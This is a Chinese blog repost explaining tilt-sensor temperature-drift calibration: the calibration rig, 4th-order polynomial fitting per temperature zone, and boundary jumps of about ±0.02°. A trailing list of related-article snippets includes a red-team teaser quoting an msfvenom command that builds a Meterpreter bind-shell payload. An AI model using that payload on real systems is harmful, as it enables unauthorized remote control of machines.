振南技术干货集:比萨斜塔要倒了,倾斜传感器快来!(5)

注解目录

1、倾斜传感器的那些基础干货

1.1 典型应用场景

(危楼、边坡、古建筑都是对倾斜敏感的。)

1.2 倾斜传感器的原理

1.2.1 滚珠式倾斜开关

1.2.2 加速度式倾斜传感器

1)直接输出倾角

2)加速度计算倾角

3)倾角精度的提高

(如果没看懂,振南教你个好办法:再看一遍。)

2、倾斜传感器温漂校准的基础知识

2.1 温漂产生的根源

(万物皆受温度影响。振南给你讲讲“调皮的尺子”。)

2.2 温漂的真实例子

(某项目的奇怪现象,一到中午数据就乱跳。亮一下壮观而精密的自动化校准装置。)

3、静态温控的实现与温补装置的迭代

3.1 制冷原理

(振南告诉你如何对传感器温漂校准。温度控制不难,但是不允许有振动,你作得到吗?)

3.2 静态温度控制

3.2.1 TEC 制冷

3.2.2 散热方案

3.2.3 倾角温补校准装置设计方案

3.2.4 多级 TEC 制冷

3.2.5 物理制冷

3.2.6 半导体制热

3.2.7 温控策略

3.2.8 多路温度的同步控制

(如何安静的制冷?TEC 及阵列、水冷、干冰、铝注冷技术、PTC、保温材料、比热容、热阻,还有温控算法,这些你应该了解一下。)

4、倾角校准与数据拟合

4.1 倾角校准装置的构成

4.2 倾角温补校准与数据拟合

4.3 分段校准的质疑

(多阶拟合算法,还有开源的 Polyfit 方案。来看看最终效果:温度乱舞,传感器却无波动。)

5、其它细节

5.1 真值的读取

5.2 规避震动干扰

5.3 克服地面不平问题

5.4 减震设计

(万事的成败在于细节。)

4

倾角校准与数据拟合

4.1 倾角校准装置的构成


先来看一下整套校准装置的总体框图,如图 16.38 所示。


图16.38 自动化倾角温补校准装置总体框图

图 16.38 中所包含的内容比较多,我们来梳理一下,如表 16.2 所列。


整套装置线缆比较多,从图 16.35 就可见一斑。

整个温控及校准操作都由上位机完成,振南开发的上位机软件如图 16.39 所示


图16.39 自动化倾角温补校准装置上位机软件

4.2 倾角温补校准与数据拟合


倾角温补校准的前提是先将每一个温区内的标准倾角与原始倾角的一系列的双轴倾角值采集到,具体流程如图 16.40 所示。

我们采集到的数据如图16.41所示(单独某个轴的数据)。

可以看到传感器的原始倾角值与标准倾角是一一对应的。在本章最前面振南讲过,校准的实质就是建立一张对应表固化到传感器中,这张表是很大的,所以我们才花了如此大的力气来做自动化温补校准装置。

有人可能会有一个疑问:“一个温度段对应于一张表,我采到一个原始倾角,就从表里查找相应的标准倾角,如图 16.42 所示。我采到的这个原始倾角应该不会正好落在表中的原始倾角上,那么它对应的标准倾角应该怎么取呢?按比例线性的取吗?”按比例线性取值是不合适的.更好的办法是对这些数据进行多项式拟合,这样可以构造出两点之间的数据趋势,依趋势取数将会使结果更接近于真值。

多项式我们选用 4 阶多项式,形如下式


到这里,有很多人都问过一个问题:“为什么要用 4 阶多项式来进行拟合?是不是阶数越高,拟合精度越高呢?”答案是否定的,我试过用5 阶,甚至更高阶多项式去拟合,结果反而是错

误的,也许这就是所谓的过拟合。其实多项式拟合,就是确定多项式的系数,使得倾角采样点在多项式曲线上的均方差最小。这样一个温度段的倾角对应表,就可以仅仅使用 5 个系数来表达了,这也非常适合于单片机的存储。实际计算校正后倾角的过程是.先采集温度,确定使用哪一个多项式,然后将采到的原始倾角代人到多项式中,最终得到校准后的倾角。这个倾角值应该是高精度的,而且比较稳定,不会随着温度变化而产生漂移。


图16.40 双轴倾角温补校准数据采集过程


图16.41 单独某轴的标准倾角与原始倾角值


图16.42 单独某轴的标

4.3 分段校准的质疑


以上所描述的其实是传感器的分段校准,是行业内普遍使用的方法。它在同一个温度段内,使用固定的一个多项式来计算。

对于这种方法我们的一个博士提出了质疑:“一个温度段都只用一个固定的多项式来计算,那在这个温度区间内还是消除不了温漂,最明显的就是在两个温区接缝的地方会产生跳跃!”

我说:“确实,其实这种方法是一种工程近似,只要这个接缝处的跳跃不大,我们姑且还是可以接受的。”

跳跃大不大.那得用数据来说话,所以我做了如下的实验,如图 16.43 所示。

请看下面的曲线.如图 16.44 所示。

博士是对的,我也承认,在各温区的交界处确实会产生温度跳跃。但是这个跳跃的幅度在士0.02°以内,对于一般的高精度需求是满足的。但是如果非要较这个真儿.非要求精度为十0.01°,甚至士0.005°或士0.002°,这就不行了。

我们需要为每一个温度点构造相应的拟合多项式,但这实际上是不现实的。就算我们的温控可以精确控制在每一个温度点上,整体的校准效率也难以忍受。切实可行的做法是,从每个温区固定系数的多项式衍生出每一个温度点的多项式。应该说这种方法一定是可行的,但


图16.43 固定角度全温段角度采集实验


图16.44 固定角度全温角度曲线

是这种衍生系数的算法我还没有深入研究。

博士也认为这是可行的,只是有一定的难度。他开始联合算法部的工程师在解决这个问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/190393.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

训练模型报错RuntimeError: Input, output and indices must be on the current device

问题出现: 当我训练图网络模型时,源码默认使用cpu,查看后台性能运行,发现正在使用cpu训练,这大大降低了训练速率,并且增加了电脑负载。所以我决定将模型改造并训练放在GPU上运行。 我在train方法中&#xf…

UE5 C++报错:is not currently enabled for Live Coding

解决办法: 再次打开项目,以此法打开:

再也不用担心忘记密码了!如何在Windows 10或11中重置被遗忘的密码

​如果你忘记了Windows电脑的密码,不要惊慌。Windows 10和Windows 11都允许你重置忘记的密码,无论你使用的是Microsoft帐户还是本地帐户。你所要做的就是回答你的安全问题以重置密码。另一种选择是创建一个密码重置盘,你可以在任何U盘上进行。 除了使用密码之外,你还应该启…

springBoot中starter

springBoot项目中引入starter 项目引入xxljob&#xff0c;仅需要导入对应的starter包&#xff0c;即可进行快速开发 <dependency><groupId>com.ydl</groupId><artifactId>xxl-job-spring-boot-starter</artifactId><version>0.0.1-SNAPS…

CentOS 7搭建Gitlab流程

目录 1、查询docker镜像gitlab-ce 2、拉取镜像 3、查询已下载的镜像 4、新建gitlab文件夹 5、在gitlab文件夹下新建相关文件夹 6、创建运行gitlab的容器 7、查看docker容器 8、根据Linux地址访问gitlab 9、进入docker容器&#xff0c;设置用户名的和密码 10、登录git…

红队攻防之特殊场景上线cs和msf

倘见玉皇先跪奏&#xff1a;他生永不落红尘 本文首发于先知社区&#xff0c;原创作者即是本人 网络拓扑图 一、msf正向木马拿不出网域控shell msf生成木马 msfvenom -p windows/x64/meterpreter/bind_tcp lport4444 -f raw -o msf1.bin用msfvenom生成一个正向马传进去&…

ai的潜力和中短期的未来预测

内容来源&#xff1a;rickawsb ​对于描述ai的潜力和中短期的未来预测&#xff0c;我认为到目前为止可能没有比这篇推文总结得更好的了。 我读了三次。 文章起源于一个用户感叹openai升级chatgpt后&#xff0c;支持pdf上传功能&#xff0c;直接让不少的靠这个功能吃饭的创业公…

YOLOv8独家改进: Inner-IoU基于辅助边框的IoU损失,高效结合 GIoU, DIoU, CIoU,SIoU 等 | 2023.11

💡💡💡本文独家改进:Inner-IoU引入尺度因子 ratio 控制辅助边框的尺度大小用于计算损失,并与现有的基于 IoU ( GIoU, DIoU, CIoU,SIoU )损失进行有效结合 推荐指数:5颗星 新颖指数:5颗星 💡💡💡Yolov8魔术师,独家首发创新(原创),适用于Yolov5…

三十、W5100S/W5500+RP2040树莓派Pico<PPPoE>

文章目录 1 前言2 简介2 .1 什么是PPPoE&#xff1f;2.2 PPPoE的优点2.3 PPPoE数据交互原理2.4 PPPOE应用场景 3 WIZnet以太网芯片4 PPPOE示例概述以及使用4.1 流程图4.2 准备工作核心4.3 连接方式4.4 主要代码概述4.5 结果演示 5 注意事项6 相关链接 1 前言 PPPoE是一种在以太…

文心一言-情感关怀之旅

如何让LLM更有温度。 应用介绍

python中的字典

字典&#xff1a; 1.字典是一种可变容器模型&#xff0c;可以存储任意类型的对象&#xff0c;比如字符串&#xff0c;数字&#xff0c;元组等其他容 器模型 形式&#xff1a; d{key1&#xff1a;value1&#xff0c;key2&#xff1a;value2} 解释&#xff1a; 1.其中key1代表一…

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码

基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码 文章目录 基于人工电场算法优化概率神经网络PNN的分类预测 - 附代码1.PNN网络概述2.变压器故障诊街系统相关背景2.1 模型建立 3.基于人工电场优化的PNN网络5.测试结果6.参考文献7.Matlab代码 摘要&#xff1a;针对PNN神…